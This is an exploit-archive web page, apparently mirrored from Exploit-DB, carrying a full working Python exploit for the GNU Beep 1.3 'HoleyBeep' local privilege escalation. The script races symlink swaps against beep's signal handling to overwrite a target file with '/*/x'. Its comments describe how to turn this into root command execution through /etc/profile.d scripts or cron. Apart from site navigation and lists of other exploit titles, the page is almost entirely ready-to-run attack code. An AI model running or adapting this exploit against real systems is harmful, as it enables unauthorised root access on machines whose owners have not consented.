首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation
来源:https://sigint.sh/#/holeybeep 作者:Pirhack 发布时间:2018-04-16  

#!/usr/bin/env python3
#
# E-DB Note ~ https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8/ec853f14afd6e86fb3f2efce2086e28f33039ddc
# E-DB Note ~ https://sigint.sh/#/holeybeep
#
# This is an exploit for HoleyBeep.
#
# To use it, place any command you want root to execute in `/tmp/x`.
#    ```
#    $ cat /tmp/x
#    echo PWNED $(whoami)
#    ```
# The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command.
#
# To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user.
#
# Variants are possible using cron instead of the shell, so you don't have to wait until root logs in.
#

import argparse
import shutil
import os
import subprocess
import time
import signal
import ntpath

TMP_PATH="beep_exploit"

def backup_output(path):
    backup_path = ntpath.basename(path + ".bak")
    if os.path.isfile(path):
        shutil.copy(path, backup_path)
        print('Backup made at \'{}\''.format(backup_path))

def main():
    parser = argparse.ArgumentParser(description='Holey beep exploit script.')
    parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt')
    parser.add_argument('--path', default="/usr/bin/beep", help='path to beep')
    parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound')
    parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound')
    parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file')
    args = parser.parse_args()

    if not args.no_backup:
        backup_output(args.output)

    devnull = open("/dev/null")

    timer = args.time_low
    while True:
        # Create original symlink
        try:
            os.remove(TMP_PATH)
        except OSError:
            pass
        os.symlink("/dev/input/event0", TMP_PATH)

        # Open subprocess
        p = subprocess.Popen([args.path,  "--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull)
        time.sleep(timer/2 / 1000000.0)

        # Replace symlink
        try:
            os.remove(TMP_PATH)
        except OSError:
            pass
        os.symlink(args.output, TMP_PATH)
        time.sleep(timer/2 / 1000000.0)

        # Trigger SIGINT
        os.kill(p.pid, signal.SIGINT)

        # Kill process if it's sill alive
        time.sleep(200.0 / 1000000.0)
        os.kill(p.pid, signal.SIGKILL)

        # Verify result
        with open(args.output, 'rb') as f:
            data = f.read(4)
            if data == b'/*/x':
                print("Done!")
                break

        timer += 1
        if timer > args.time_high:
            timer = args.time_low

if __name__ == '__main__':
    main()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·MikroTik 6.41.4 - FTP daemon D
·Barco ClickShare CSE-200 - Rem
·Drupal < 7.58 / < 8.3.9 / < 8.
·Drupal < 7.58 / < 8.3.9 / < 8.
·F5 BIG-IP 11.6 SSL Virtual Ser
·SysGauge Pro 4.6.12 Local Buff
·Google Chrome V8 JIT - 'LoadEl
·DVD X Player Standard 5.5.3.9
·CyberArk Password Vault Web Ac
·CyberArk Password Vault < 9.7
·GoldWave 5.70 - Local Buffer O
·H2 Database - 'Alias' Arbitrar
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved